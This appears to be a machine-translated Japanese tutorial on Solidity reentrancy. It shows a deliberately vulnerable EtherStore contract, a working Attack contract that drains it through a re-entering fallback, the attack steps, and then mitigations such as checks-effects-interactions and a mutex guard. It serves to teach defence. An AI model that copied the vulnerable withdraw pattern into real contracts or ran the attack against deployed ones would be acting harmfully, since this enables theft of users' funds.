Solidity セキュリティがリエントランシー攻撃を防ぐ方法

リエントランシー攻撃とは何ですか?

       コントラクトを使用するプロセスでは、このような状況によく遭遇します。スマート コントラクトは外部コントラクトを呼び出すことができます。これらの外部コントラクトは、それらを呼び出したスマート コントラクトにコールバックすることができます。この場合、スマート コントラクトが再入力されると言います。この状況はリエントランシーと呼ばれます。

        通常の使用では問題ありませんが、攻撃者がコントラクトの実行プロセスに攻撃コードを挿入し、コントラクトが通常のロジックを超えて攻撃コードを実行すると、ユーザーに損失が発生します。

        ユーザーがユーザー アカウントを使用して契約 B に電話をかける場合、それは通常の通話であり、問​​題はありません。

        攻撃者が攻撃コントラクトを作成して B にコールすると、次のようなプロセスが発生する可能性があります。B は攻撃にコールバックします。

コントラクトを実行し、その後攻撃がコントラクト B を再度呼び出します。

 これを実現する鍵となるのは次の 2 つです。

        1.転送で契約を呼び出す

        Gas().call.vale()(): 呼び出し時にすべてのガスが送信され、送信が失敗するとブール値 false が返されるため、再入攻撃を効果的に防ぐことはできません。

        transfer() および send(): 呼び出しには 2300 ガスのみが送信され、送信が失敗した場合のロールバックには throw が使用されるため、再突入攻撃が防止されます。

        2. 攻撃可能なフォールバック関数を宣言する

        フォールバック関数: フォールバック関数は、各コントラクトに名前のない唯一の関数であり、この関数にはパラメーターも戻り値もありません。

function() public payable(){}

        フォールバック関数は次の状況で実行されます。

  •         コントラクトを呼び出すときに一致する関数がありません。
  •         コントラクトを呼び出すときにデータは渡されません。
  •         フォールバック関数を支払い可能としてマークする必要がある場合、スマート コントラクトは Ether を受け取ります。

契約分析

        まずコントラクト - EtherStore をデプロイすると、ETH の入金と出金が可能になります。しかし、このコントラクトは再入攻撃に対して脆弱です。

        ここでは、withdraw 関数の分析に焦点を当てます。まず、送信者の残高が 0 より大きいかどうかを判断します。0 より大きい場合は、残高を送信者に送信します。ここで ether を送信するために使用される関数は call.value であることに注意してください。送信が完了すると、送信者の残高は以下で更新されます。これがリエントラント攻撃の鍵です。

        送信者がコントラクトの場合、関数は ether を送信するため、送信者のフォールバック関数を呼び出します。フォールバックで EtherStore のdrawing を呼び出し続けると、プログラムはループに入り、継続的に ether を送信し、balances[msg.sender] = 0 を実行しません。EtherStore の残高が 0 になるまで残高を更新できません。

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻撃コントラクトは次のようになります. 攻撃コントラクト内のフォールバック関数では、引き続き EtherStore の撤退を呼び出し、その後、攻撃を呼び出して攻撃を開始します。

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻撃プロセス

1. EtherStore コントラクトを展開する

2. アカウント A は EtherStore.deposit() を呼び出して 3eth を入金し、アカウント B は EtherStore.deposit() を呼び出して 2eth を入金します。

3. 攻撃コントラクトを展開する

4. アカウント C は Attack.attck() を呼び出して攻撃を完了します。

予防と修復

他の伝達関数を使用します。

ユーザーの目的がターゲットアドレスに資金を送金することだけである場合は、送金機能を使用する必要があります。

チェック効果相互作用

コントラクト関数を作成するときは、まずチェックし、次に有効にし、最後に対話します。

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0); //checks
        balances[msg.sender] = 0; //effect
        (bool sent, ) = msg.sender.call{value: bal}(""); //interaction
        require(sent, "Failed to send Ether");

        
    }

ミューテックスを使用する 

 再入攻撃を防ぐために、コードの実行中にコントラクトをロックする状態変数を追加します。

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

OpenZeppelin が提供するリエントラント ロックを直接使用することもできます。

マスター OpenZeppelin/openzeppelin-contracts GitHub の openzeppelin-contracts/ReentrancyGuard.sol

おすすめ

転載: blog.csdn.net/xq723310/article/details/130447306